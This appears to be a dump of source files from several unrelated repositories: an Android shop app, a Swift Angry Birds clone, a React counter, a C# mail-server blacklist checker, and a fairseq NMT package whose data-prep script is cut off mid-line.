tv_jasa_harga; private TextView tv_jasa_durasi; private CardView cardView; private LinearLayout i_jasa; public MyViewHolder(View itemView) { super(itemView); tv_jasa_title = (TextView) itemView.findViewById(R.id.jasa_title); tv_jasa_desc = (TextView) itemView.findViewById(R.id.jasa_desc); tv_jasa_harga = (TextView) itemView.findViewById(R.id.jasa_harga); tv_jasa_durasi = (TextView) itemView.findViewById(R.id.jasa_durasi); cardView = (CardView) itemView.findViewById(R.id.cardviewjasa_id); i_jasa = (LinearLayout) itemView.findViewById(R.id.ijasa); } } } ``` FragmentProduk.java ```package com.example.borstel; import android.content.Context; import android.content.Intent; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.GridLayoutManager; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class FragmentProduk extends Fragment { View view; private RecyclerView mrv; private RecyclerView.Adapter mAdapter; private List<ModelProduk> ProdukList; Context mContext2; ApiInterface mApiIn; public FragmentProduk() { } @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); ProdukList = new ArrayList<>(); } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { view = inflater.inflate(R.layout.fragment_produk,container,false); mrv = (RecyclerView) view.findViewById(R.id.recyclerview_id); mApiIn = ApiClient.getClient().create(ApiInterface.class); refresh(); return view; } public void refresh() { Call<GetJasaProduk> wisataCall = mApiIn.getProduk(); wisataCall.enqueue(new Callback<GetJasaProduk>() { @Override public void onResponse(Call<GetJasaProduk> call, Response<GetJasaProduk> response) { List<ModelProduk> ProdukList = response.body().getProduk(); Log.d("Retrofit Get", "Jumlah data Kontak: " + String.valueOf(ProdukList.size())); mAdapter = new RecyclerViewAdapter(getContext(),ProdukList); mrv.setLayoutManager(new LinearLayoutManager(getActivity())); mrv.setLayoutManager(new GridLayoutManager(getContext(),3)); mrv.setAdapter(mAdapter); } @Override public void onFailure(Call<GetJasaProduk> call, Throwable t) { Log.e("Retrofit Get", t.toString()); } }); } } ``` ApiInterface.java ```package com.example.borstel; import retrofit2.Call; import retrofit2.http.GET; public interface ApiInterface { @GET("ApiYusuf") Call<GetJasaProduk> getProduk(); @GET("ApiYusuf") Call<GetJasaProduk> getJasa(); // @FormUrlEncoded // @POST("kontak") // Call<PostPutDelWisata> postKontak(@Field("nama") String nama, // @Field("nomor") String nomor); // @FormUrlEncoded // @PUT("kontak") // Call<PostPutDelWisata> putKontak(@Field("id") String id, // @Field("nama") String nama, // @Field("nomor") String nomor); // @FormUrlEncoded // @HTTP(method = "DELETE", path = "kontak", hasBody = true) // Call<PostPutDelWisata> deleteKontak(@Field("id") String id); } ``` ModelJasa.java ```package com.example.borstel; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class ModelJasa { @SerializedName("jasa_nama") @Expose private String jasaNama; @SerializedName("jasa_id") @Expose private String jasaId; @SerializedName("jasa_desc") @Expose private String jasaDesc; @SerializedName("jasa_durasi") @Expose private String jasaDurasi; @SerializedName("jasa_harga") @Expose private String jasaHarga; public String getJasaNama() { return jasaNama; } public void setJasaNama(String jasaNama) { this.jasaNama = jasaNama; } public String getJasaId() { return jasaId; } public void setJasaId(String jasaId) { this.jasaId = jasaId; } public String getJasaDesc() { return jasaDesc; } public void setJasaDesc(String jasaDesc) { this.jasaDesc = jasaDesc; } public String getJasaDurasi() { return jasaDurasi; } public void setJasaDurasi(String jasaDurasi) { this.jasaDurasi = jasaDurasi; } public String getJasaHarga() { return jasaHarga; } public void setJasaHarga(String jasaHarga) { this.jasaHarga = jasaHarga; } }``` MainActivity.java ```package com.example.borstel; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.view.View; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.widget.Toolbar; import androidx.fragment.app.Fragment; import androidx.fragment.app.FragmentManager; import androidx.fragment.app.FragmentPagerAdapter; import androidx.viewpager.widget.ViewPager; import com.google.android.material.tabs.TabLayout; import java.util.ArrayList; import java.util.List; public class MainActivity extends AppCompatActivity { private Toolbar toolbar; private ViewPager viewPager; private TabLayout tabLayout; private FragmentHome fragmentHome; private FragmentProduk fragmentProduk; private FragmentBors fragmentBors; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); viewPager = findViewById(R.id.view_pager); tabLayout = findViewById(R.id.tab_layout); fragmentHome = new FragmentHome(); fragmentProduk = new FragmentProduk(); fragmentBors = new FragmentBors(); tabLayout.setupWithViewPager(viewPager); ViewPagerAdapter viewPagerAdapter = new ViewPagerAdapter(getSupportFragmentManager(), 0); viewPagerAdapter.addFragmet(fragmentBors, "Home"); viewPagerAdapter.addFragmet(fragmentHome, "PriceList"); viewPagerAdapter.addFragmet(fragmentProduk, "Shop");; viewPager.setAdapter(viewPagerAdapter); tabLayout.getTabAt(0).setIcon(R.drawable.ic_home_black_24dp); tabLayout.getTabAt(1).setIcon(R.drawable.ic_local_library_black_24dp); tabLayout.getTabAt(2).setIcon(R.drawable.ic_shopping_cart_black_24dp); } private class ViewPagerAdapter extends FragmentPagerAdapter { private List<Fragment> fragments = new ArrayList<>(); private List<String> framentTitle = new ArrayList<>(); public ViewPagerAdapter(@NonNull FragmentManager fm, int behavior) { super(fm, behavior); } public void addFragmet(Fragment fragment, String title){ fragments.add(fragment); framentTitle.add(title); } @NonNull @Override public Fragment getItem(int position) { return fragments.get(position); } @Override public int getCount() { return fragments.size(); } @Nullable @Override public CharSequence getPageTitle(int position) { return framentTitle.get(position); } } public void openWA(View view) { Intent sendWA = new Intent(); sendWA.setAction(Intent.ACTION_SEND); sendWA.putExtra(Intent.EXTRA_TEXT, "Hi Borstel"); sendWA.putExtra("jid", "62895370301188" + "@s.whatsapp.net"); sendWA.setType("text/plain"); sendWA.setPackage("com.whatsapp"); startActivity(sendWA); } public void openMap(View view) { Intent map = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.google.com/maps/place/Jl.+Waas+I+No.6,+Batununggal,+Kec.+Bandung+Kidul,+Kota+Bandung,+Jawa+Barat+40266/@-6.9513756,107.6242606,16z/data=!4m13!1m7!3m6!1s0x2e68e85e8f585e25:0x6784414ee13c880f!2sJl.+Waas+I+No.6,+Batununggal,+Kec.+Bandung+Kidul,+Kota+Bandung,+Jawa+Barat+40266!3b1!8m2!3d-6.951119!4d107.6267052!3m4!1s0x2e68e85e8f585e25:0x6784414ee13c880f!8m2!3d-6.951119!4d107.6267052")); startActivity(map); } } ``` FragmentHome.java ```package com.example.borstel; import android.content.Context; import android.content.Intent; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class FragmentHome extends Fragment{ View v; private RecyclerView mrv2; private RecyclerView.Adapter mAdapter; private List<ModelJasa> JasaList; private Button bn; Context mContext; ApiInterface mApiIn; public FragmentHome() { } @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); JasaList = new ArrayList<>(); } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { v = inflater.inflate(R.layout.fragment_home,container,false); mrv2 = (RecyclerView) v.findViewById(R.id.recyclerview_id2); mApiIn = ApiClient.getClient().create(ApiInterface.class); refresh(); return v; } public void refresh() { Call<GetJasaProduk> wisataCall = mApiIn.getJasa(); wisataCall.enqueue(new Callback<GetJasaProduk>() { @Override public void onResponse(Call<GetJasaProduk> call, Response<GetJasaProduk> response) { List<ModelJasa> JasaList = response.body().getJasa(); Log.d("Retrofit Get", "Jumlah data Kontak: " + String.valueOf(JasaList.size())); mAdapter = new RecyclerViewAdapterJasa(getContext(),JasaList); mrv2.setLayoutManager(new LinearLayoutManager(getActivity())); mrv2.setAdapter(mAdapter); } @Override public void onFailure(Call<GetJasaProduk> call, Throwable t) { Log.e("Retrofit Get", t.toString()); } }); } } ```
yusufcaglar/iOS12-AngryBirdClone
yusufcaglar/iOS12-AngryBirdClone GameScene.swift ```// // GameScene.swift // Angry Bird Clone // // Created by Yusuf ร‡AฤžLAR on 30/10/2018. // Copyright ยฉ 2018 Yusuf ร‡AฤžLAR. All rights reserved. // import SpriteKit import GameplayKit class GameScene: SKScene, SKPhysicsContactDelegate { var bird = SKSpriteNode() var background = SKSpriteNode() var tree = SKSpriteNode() var box = SKSpriteNode() var box2 = SKSpriteNode() var box3 = SKSpriteNode() var box4 = SKSpriteNode() var box5 = SKSpriteNode() var gameStarted = false var originalPosition : CGPoint! var score = 0 var scoreLabel = SKLabelNode() enum ColliderType: UInt32 { case Bird = 1 case Box = 2 } override func didMove(to view: SKView) { // Physics Body physicsBody = SKPhysicsBody(edgeLoopFrom: frame) // Delegate physicsWorld.contactDelegate = self // Bird let texture = SKTexture(imageNamed: "bird.png") bird = SKSpriteNode(texture: texture) bird.size = CGSize(width: self.frame.width / 14, height: self.frame.width / 12) bird.position = CGPoint(x: -420, y: -45) bird.zPosition = 2 self.addChild(bird) bird.physicsBody = SKPhysicsBody(circleOfRadius: texture.size().height / 10) bird.physicsBody?.isDynamic = true bird.physicsBody?.mass = 0.1 bird.physicsBody?.affectedByGravity = false originalPosition = bird.position bird.physicsBody?.contactTestBitMask = ColliderType.Bird.rawValue bird.physicsBody?.categoryBitMask = ColliderType.Bird.rawValue bird.physicsBody?.collisionBitMask = ColliderType.Box.rawValue // Background let backgroundTexture = SKTexture(imageNamed: "background.png") background = SKSpriteNode(texture: backgroundTexture) background.size = CGSize(width: self.frame.width, height: self.frame.height) background.position = CGPoint(x: 0, y: 0) background.zPosition = 0 self.addChild(background) // Tree let treeTexture = SKTexture(imageNamed: "tree.png") tree = SKSpriteNode(texture: treeTexture) tree.size = CGSize(width: self.frame.width / 5, height: self.frame.height / 3) tree.position = CGPoint(x: -400, y: -148) tree.zPosition = 1 self.addChild(tree) // Boxes let boxTexture = SKTexture(imageNamed: "box.png") box = SKSpriteNode(texture: boxTexture) box.size = CGSize(width: boxTexture.size().width / 5, height: boxTexture.size().height / 5) box.position = CGPoint(x: 300, y: 0) box.zPosition = 2 box.physicsBody?.isDynamic = true box.physicsBody?.affectedByGravity = true box.physicsBody = SKPhysicsBody(rectangleOf: box.size) box.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue self.addChild(box) let boxTexture2 = SKTexture(imageNamed: "box.png") box2 = SKSpriteNode(texture: boxTexture2) box2.size = CGSize(width: boxTexture2.size().width / 5, height: boxTexture2.size().height / 5) box2.position = CGPoint(x: 250, y: -100) box2.zPosition = 2 box2.physicsBody?.isDynamic = true box2.physicsBody?.affectedByGravity = true box2.physicsBody = SKPhysicsBody(rectangleOf: box2.size) box2.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue self.addChild(box2) let boxTexture3 = SKTexture(imageNamed: "box.png") box3 = SKSpriteNode(texture: boxTexture3) box3.size = CGSize(width: boxTexture3.size().width / 5, height: boxTexture3.size().height / 5) box3.position = CGPoint(x: 200, y: -200) box3.zPosition = 2 box3.physicsBody?.isDynamic = true box3.physicsBody?.affectedByGravity = true box3.physicsBody = SKPhysicsBody(rectangleOf: box3.size) box3.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue self.addChild(box3) let boxTexture4 = SKTexture(imageNamed: "box.png") box4 = SKSpriteNode(texture: boxTexture4) box4.size = CGSize(width: boxTexture3.size().width / 5, height: boxTexture4.size().height / 5) box4.position = CGPoint(x: 350, y: -100) box4.zPosition = 2 box4.physicsBody?.isDynamic = true box4.physicsBody?.affectedByGravity = true box4.physicsBody = SKPhysicsBody(rectangleOf: box4.size) box4.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue self.addChild(box4) let boxTexture5 = SKTexture(imageNamed: "box.png") box5 = SKSpriteNode(texture: boxTexture5) box5.size = CGSize(width: boxTexture5.size().width / 5, height: boxTexture5.size().height / 5) box5.position = CGPoint(x: 400, y: -200) box5.zPosition = 2 box5.physicsBody?.isDynamic = true box5.physicsBody?.affectedByGravity = true box5.physicsBody = SKPhysicsBody(rectangleOf: box5.size) box5.physicsBody?.collisionBitMask = ColliderType.Bird.rawValue self.addChild(box5) // Score scoreLabel.fontName = "Helvetica" scoreLabel.fontSize = 53 scoreLabel.text = "0" scoreLabel.position = CGPoint(x: 0, y: self.frame.height / 4) scoreLabel.zPosition = 3 self.addChild(scoreLabel) } func didBegin(_ contact: SKPhysicsContact) { if contact.bodyA.collisionBitMask == ColliderType.Bird.rawValue || contact.bodyB.collisionBitMask == ColliderType.Bird.rawValue { score = score + 1 scoreLabel.text = String(score) } } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { if gameStarted == false { if let touch = touches.first { let touchLocation = touch.location(in: self) let touchNodes = nodes(at: touchLocation) if touchNodes.isEmpty == false { for node in touchNodes { if let sprite = node as? SKSpriteNode { if sprite == bird { bird.position = touchLocation } } } } } } } override func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?) { if gameStarted == false { if let touch = touches.first { let touchLocation = touch.location(in: self) let touchNodes = nodes(at: touchLocation) if touchNodes.isEmpty == false { for node in touchNodes { if let sprite = node as? SKSpriteNode { if sprite == bird { bird.position = touchLocation } } } } } } } override func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?) { if gameStarted == false { if let touch = touches.first { let touchLocation = touch.location(in: self) let touchNodes = nodes(at: touchLocation) if touchNodes.isEmpty == false { for node in touchNodes { if let sprite = node as? SKSpriteNode { if sprite == bird { let dx = -(touchLocation.x - originalPosition.x) let dy = -(touchLocation.y - originalPosition.y) let impulse = CGVector(dx: dx, dy: dy) bird.physicsBody?.applyImpulse(impulse) bird.physicsBody?.affectedByGravity = true gameStarted = true } } } } } } } override func touchesCancelled(_ touches: Set<UITouch>, with event: UIEvent?) { } override func update(_ currentTime: TimeInterval) { if let birdPhysicsBody = bird.physicsBody { if birdPhysicsBody.velocity.dx <= 0.1 { if birdPhysicsBody.velocity.dy <= 0.1 { if birdPhysicsBody.angularVelocity <= 0.1 { if gameStarted == true { self.bird.physicsBody?.affectedByGravity = false self.bird.physicsBody?.velocity = CGVector(dx: 0, dy: 0) self.bird.physicsBody?.angularVelocity = 0 self.bird.position = self.originalPosition self.score = 0 self.scoreLabel.text = "\(score)" self.gameStarted = false } } } } } } } ```
yusufdavut/reactCounter
yusufdavut/reactCounter counter.js ```const root = document.getElementById("root"); class Counter extends React.Component{ constructor(props) { super(props); this.plusBtn = this.plusBtn.bind(this); this.minusBtn = this.minusBtn.bind(this); this.resetBtn = this.resetBtn.bind(this); this.state={ number: 0 } } plusBtn(){ this.setState((prevState) => { return{ number: prevState.number + 1 }; }) } minusBtn(){ this.setState((prevState) => { return{ number: prevState.number - 1 }; }) } resetBtn(){ this.setState({ number: 0 }); } render(){ return( <div> <h1>{this.state.number}</h1> <button onClick={this.plusBtn}>+1</button> <button onClick={this.minusBtn}>-1</button> <button onClick={this.resetBtn}>Reset</button> </div> ); }; } ReactDOM.render(<Counter/>,root);```
yusufdoru/cKaraListKontrol
yusufdoru/cKaraListKontrol Form1.cs ```๏ปฟusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace cKaraListKontrol { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { } private void btnBaslat_Click(object sender, EventArgs e) { if (btnBaslat.Text == "BAลžLAT") // Program ilk aรงฤฑldฤฑฤŸฤฑnda "BAลžLAT" butonu aktiftir. { tmrZamanlayici.Interval = Int32.Parse(txtMS.Text); // Milisaniyeyi alฤฑp ilk รถnce string'i int'e รงevirdik yaptฤฑk. Daha sonra bunu Timer nesnesinin Interval รถzelliฤŸine atadฤฑk. txtMS.Enabled = false; // int olarak milisaniye deฤŸeri alan text kutucuฤŸunu eriลŸime kapattฤฑk. txtUrl.Enabled = false; // txtURL ID'li text kutucuฤŸunu eriลŸime kapadฤฑk. tmrZamanlayici.Enabled = true; // Zamanlayฤฑcฤฑ Timer kontrolรผnรผ aktif ettik. btnBaslat.Text = "DURDUR"; // BAลžLAT butonuna bastฤฑฤŸฤฑmฤฑzda haliyle "DURDUR" yazฤฑsฤฑ set ediliyor. StartTest(); // ve burdaki iลŸimiz "StartTest" metoduyla bitiyor. } else // DURDUR butuna tฤฑklandฤฑฤŸฤฑnda { txtMS.Enabled = true; tmrZamanlayici.Enabled = false; txtUrl.Enabled = true; lblDurum.Text = "-TEST YAPILMADI-"; // Durumu baลŸlangฤฑรงtaki haline getiriyoruz. lblDurum.ForeColor = Color.Black; btnBaslat.Text = "BAลžLAT"; } } void StartTest() { wb.Url = new Uri("http://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a" + txtUrl.Text + "&run=toolpage"); // Kara liste kontrolรผnรผ mxtoolbox.com adresinden yapฤฑyoruz. Site ajax kullanฤฑyor. } private void web_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e) // mxtoolbox.com adresinin kaynak kodlarฤฑ yรผklendiฤŸinde. { tmrFullLoaded.Enabled = true; // Burasฤฑ "DocumentCompleted" olayฤฑ tetiklendiฤŸinde kod blogu รงalฤฑลŸฤฑyor. Fakat sitemiz ajax ile รงalฤฑลŸtฤฑฤŸฤฑ iรงin timer kontrolรผ ile istediฤŸimiz deฤŸerin yรผklenip yรผklenmediฤŸini kontrol etmeliyiz. } private void tmrFullLoaded_Tick(object sender, EventArgs e) // ฤฐlgili sitedeki ajax'ฤฑn baลŸarฤฑyla yรผklenip yรผklenmediฤŸini anlamaya รงalฤฑลŸฤฑyoruz. { string innerHtml = IsAjaxLoaded(wb.Document.GetElementById("lblResult"));// "IsAjaxLoaded" metodu bana "#lblResult" iรงindeki veriyi dรถndรผrรผyor. if (!String.IsNullOrEmpty(innerHtml)) { // "innerHtml" null veya boลŸ deฤŸilse CheckList(innerHtml); // Kara listede var yada yok kontrolรผ. innerHtml burada parametre olarak gรถnderiliyor. tmrFullLoaded.Enabled = false; // Amacฤฑmฤฑza ulaลŸtฤฑฤŸฤฑmฤฑza gรถre Timer kontrolรผnรผ devredฤฑลŸฤฑ bฤฑrakabiliriz. } } string IsAjaxLoaded(HtmlElement cTag) { cTag = wb.Document.GetElementById("lblResult"); // #lblResult idsini deฤŸiลŸkene atฤฑyoruz. if (cTag != null) // eฤŸer "lblResult" varsa null deฤŸildir. { if (cTag.InnerHtml != null && cTag.InnerHtml.Contains("Reported by") == true) return cTag.InnerHtml; // Burada innerHtml null deฤŸilse ve innerhtml iรงinde "Reported by" kelimesi geรงiyorsa raporlama bitmiลŸtir deyip string olarak dรถndรผrรผyoruz. } return null; } void CheckList(string innerHtml) // Kara listede var veya yok kontrolรผ. { if (innerHtml.Contains("&nbsp;LISTED")) // EฤŸer innerHtml iรงinde LISTED kelimesi geรงiyorsa mail sunucusu kara listededir. { lblDurum.Text = "KARA LฤฐSTEDE !"; lblDurum.ForeColor = Color.Red; } else // รœstteki ลŸart saฤŸlanmamฤฑลŸsa listede olmamasฤฑndan baลŸka seรงenek yok gibi gรถrรผnรผyor. { lblDurum.Text = "LฤฐSTEDE DEฤžฤฐL :)"; lblDurum.ForeColor = Color.Green; } } private void tmrZamanlayici_Tick(object sender, EventArgs e) // txtMS ile belirttiฤŸimiz milisaniyede bir tetiklenen olay. { StartTest(); // รœstteki kontrol aลŸamalarฤฑ tekrarlanฤฑyor. } } } ``` README.md ```Checks whether a given mail server blacklisted. Visual Studio 2012 and NET 4.0 has been developed.``` Form1.Designer.cs ```๏ปฟnamespace cKaraListKontrol { partial class Form1 { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); this.wb = new System.Windows.Forms.WebBrowser(); this.tmrFullLoaded = new System.Windows.Forms.Timer(this.components); this.lblDurum = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.tmrZamanlayici = new System.Windows.Forms.Timer(this.components); this.btnBaslat = new System.Windows.Forms.Button(); this.label3 = new System.Windows.Forms.Label(); this.txtMS = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.txtUrl = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // wb // this.wb.Location = new System.Drawing.Point(44, 77); this.wb.MinimumSize = new System.Drawing.Size(20, 20); this.wb.Name = "wb"; this.wb.Size = new System.Drawing.Size(192, 20); this.wb.TabIndex = 3; this.wb.Visible = false; this.wb.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(this.web_DocumentCompleted); // // tmrFullLoaded // this.tmrFullLoaded.Interval = 500; this.tmrFullLoaded.Tick += new System.EventHandler(this.tmrFullLoaded_Tick); // // lblDurum // this.lblDurum.AutoSize = true; this.lblDurum.Font = new System.Drawing.Font("Microsoft Sans Serif", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162))); this.lblDurum.Location = new System.Drawing.Point(70, 138); this.lblDurum.Name = "lblDurum"; this.lblDurum.Size = new System.Drawing.Size(254, 31); this.lblDurum.TabIndex = 5; this.lblDurum.Text = "-TEST YAPILMADI-"; // // label2 // this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162))); this.label2.Location = new System.Drawing.Point(58, 116); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(277, 17); this.label2.TabIndex = 6; this.label2.Text = "Alanadฤฑ / IP girip, BAลžLAT butonuna basฤฑn."; // // tmrZamanlayici // this.tmrZamanlayici.Interval = 360000; this.tmrZamanlayici.Tick += new System.EventHandler(this.tmrZamanlayici_Tick); // // btnBaslat // this.btnBaslat.Location = new System.Drawing.Point(242, 74); this.btnBaslat.Name = "btnBaslat"; this.btnBaslat.Size = new System.Drawing.Size(93, 23); this.btnBaslat.TabIndex = 18; this.btnBaslat.Text = "BAลžLAT"; this.btnBaslat.UseVisualStyleBackColor = true; this.btnBaslat.Click += new System.EventHandler(this.btnBaslat_Click); // // label3 // this.label3.AutoSize = true; this.label3.Location = new System.Drawing.Point(56, 45); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(91, 13); this.label3.TabIndex = 16; this.label3.Text = "Zamanlayฤฑcฤฑ (MS):"; // // txtMS // this.txtMS.Location = new System.Drawing.Point(149, 44); this.txtMS.Name = "txtMS"; this.txtMS.Size = new System.Drawing.Size(186, 20); this.txtMS.TabIndex = 17; this.txtMS.Text = "3600000"; // // label1 // this.label1.AutoSize = true; this.label1.Location = new System.Drawing.Point(56, 21); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(69, 13); this.label1.TabIndex = 14; this.label1.Text = "Alanadฤฑ / IP :"; // // txtUrl // this.txtUrl.Location = new System.Drawing.Point(149, 18); this.txtUrl.Name = "txtUrl"; this.txtUrl.Size = new System.Drawing.Size(186, 20); this.txtUrl.TabIndex = 15; this.txtUrl.Text = "mail.yusufdoru.com"; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(398, 199); this.Controls.Add(this.btnBaslat); this.Controls.Add(this.label3); this.Controls.Add(this.txtMS); this.Controls.Add(this.label1); this.Controls.Add(this.txtUrl); this.Controls.Add(this.label2); this.Controls.Add(this.lblDurum); this.Controls.Add(this.wb); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; this.MaximizeBox = false; this.Name = "Form1"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "C# Kara Liste Kontrolรผ 1.0 - www.yusufdoru.com"; this.Load += new System.EventHandler(this.Form1_Load); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.WebBrowser wb; private System.Windows.Forms.Timer tmrFullLoaded; private System.Windows.Forms.Label lblDurum; private System.Windows.Forms.Label label2; private System.Windows.Forms.Timer tmrZamanlayici; private System.Windows.Forms.Button btnBaslat; private System.Windows.Forms.Label label3; private System.Windows.Forms.TextBox txtMS; private System.Windows.Forms.Label label1; private System.Windows.Forms.TextBox txtUrl; } } ```
yusufkhan004/ML-repo
yusufkhan004/ML-repo README.md ```# Machine_Learning This repository contains different types of machine learning based projects ```
yusuke1997/dbsa
yusuke1997/dbsa setup.py ```# -*- coding: utf-8 -*- # DO NOT EDIT THIS FILE! # This file has been autogenerated by dephell <3 # https://github.com/dephell/dephell try: from setuptools import setup except ImportError: from distutils.core import setup readme = '' setup( long_description=readme, name='dbsa', version='0.1.0', description='Dependency-Based Self-Attention for Transformer NMT (Deguchi et al., 2019)', python_requires='==3.*,>=3.6.0', author='Hiroyuki Deguchi', author_email='deguchi@ai.cs.ehime-u.ac.jp', license='MIT', entry_points={ "console_scripts": ["fairseq-dbsa-generate = generate:cli_main"] }, packages=[ 'dbsa', 'dbsa.criterions', 'dbsa.data', 'dbsa.models', 'dbsa.modules', 'dbsa.tasks' ], package_dir={"": "."}, package_data={}, install_requires=['fairseq'], dependency_links=[ 'git+https://github.com/de9uch1/fairseq.git@return_self_attn#egg=fairseq' ], ) ``` prepare-aspec.sh ```#!/bin/bash # Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. function not_exists() { ! ( [[ -d $TOOLS_DIR/$1 ]] || [[ -f $1 ]] ) } function corpora_not_exists() { ! [[ -d $orig ]] || ! [[ -f $orig/train.$src ]] } ASPEC_JE=${ASPEC_JE:-/path/to/ASPEC/ASPEC-JE} # replace with your correct path if ! [[ -f $ASPEC_JE/train/train-1.txt ]]; then cat << __EOT__ \$ASPEC_JE ($ASPEC_JE) is not the correct path. Please set 'ASPEC_JE' to the correct path. Example: When ASPEC-JE is given with the following path, you must set ASPEC_JE as follows: $ export ASPEC_JE="/path/to/ASPEC/ASPEC-JE" /path/to/ASPEC/ASPEC-JE โ”œโ”€โ”€ dev โ”‚ย ย  โ””โ”€โ”€ dev.txt โ”œโ”€โ”€ devtest โ”‚ย ย  โ””โ”€โ”€ devtest.txt โ”œโ”€โ”€ README โ”œโ”€โ”€ README-j โ”œโ”€โ”€ test โ”‚ย ย  โ””โ”€โ”€ test.txt โ””โ”€โ”€ train โ”œโ”€โ”€ train-1.txt โ”œโ”€โ”€ train-2.txt โ””โ”€โ”€ train-3.txt __EOT__ exit -1 fi TOOLS_DIR=$(realpath ${TOOLS_DIR:-$HOME/.cache/nlp_tools}) mkdir -p $TOOLS_DIR NUM_WORKERS=${NUM_WORKERS:-8} NUM_WORKERS_GPU=${NUM_WORKERS_GPU:-2} BPE_TOKENS=16000 PARALLEL_SCRIPT=$TOOLS_DIR/parallel/bin/parallel PARALLEL="$PARALLEL_SCRIPT --no-notice --pipe -j $NUM_WORKERS -k" PARALLEL_GPU="$PARALLEL_SCRIPT --no-notice --pipe -j $NUM_WORKERS_GPU -k" MOSES_SCRIPTS=$TOOLS_DIR/mosesdecoder/scripts MOSES_TOKENIZER=$MOSES_SCRIPTS/tokenizer/tokenizer.perl KYTEA_TOKENIZER=$TOOLS_DIR/kytea/bin/kytea NORM_PUNC=$MOSES_SCRIPTS/tokenizer/normalize-punctuation.perl Z2H=$TOOLS_DIR/dnlp/wat/z2h-utf8.perl CLEAN=$TOOLS_DIR/dnlp/preprocess/clean-corpus-with-labels.py BPEROOT=$TOOLS_DIR/fastBPE FASTBPE=$BPEROOT/fast EDA=$TOOLS_DIR/eda/eda EDA_MODEL=$TOOLS_DIR/eda/fullmodel.etm CONLLU2HEADS=$TOOLS_DIR/dnlp/tools/conllu2heads.py STANZA=$TOOLS_DIR/dnlp/tools/stanza_cli.py BPE_DEP=$(dirname $0)/bpe_dependency.py pushd $TOOLS_DIR >/dev/null if not_exists $PARALLEL_SCRIPT || \ not_exists mosesdecoder || \ not_exists $KYTEA_TOKENIZER || \ not_exists $FASTBPE || \ not_exists dnlp || \ not_exists $EDA; then echo "===> Some tools are not installed, start installing..." script_mode='install' fi if not_exists $PARALLEL_SCRIPT; then echo '====> Installing GNU parallel (for parallel execution)...' git clone https://git.savannah.gnu.org/git/parallel.git pushd parallel ./configure --prefix=$(pwd) make -j4 make install popd if ! [[ -f $PARALLEL_SCRIPT ]]; then echo "!!! GNU Parallel not successfully installed, abort." exit -1 fi echo 'Done.' fi if not_exists mosesdecoder; then echo '====> Installing Moses (for tokenization scripts)...' git clone https://github.com/moses-smt/mosesdecoder.git echo 'Done.' fi if not_exists $KYTEA_TOKENIZER; then echo '====> Installing KyTea (for tokenization scripts)...' git clone https://github.com/neubig/kytea.git pushd kytea autoreconf -i ./configure --prefix=$(pwd) make -j4 make install popd if not_exists $KYTEA_TOKENIZER; then echo "!!! KyTea not successfully installed, abort." exit 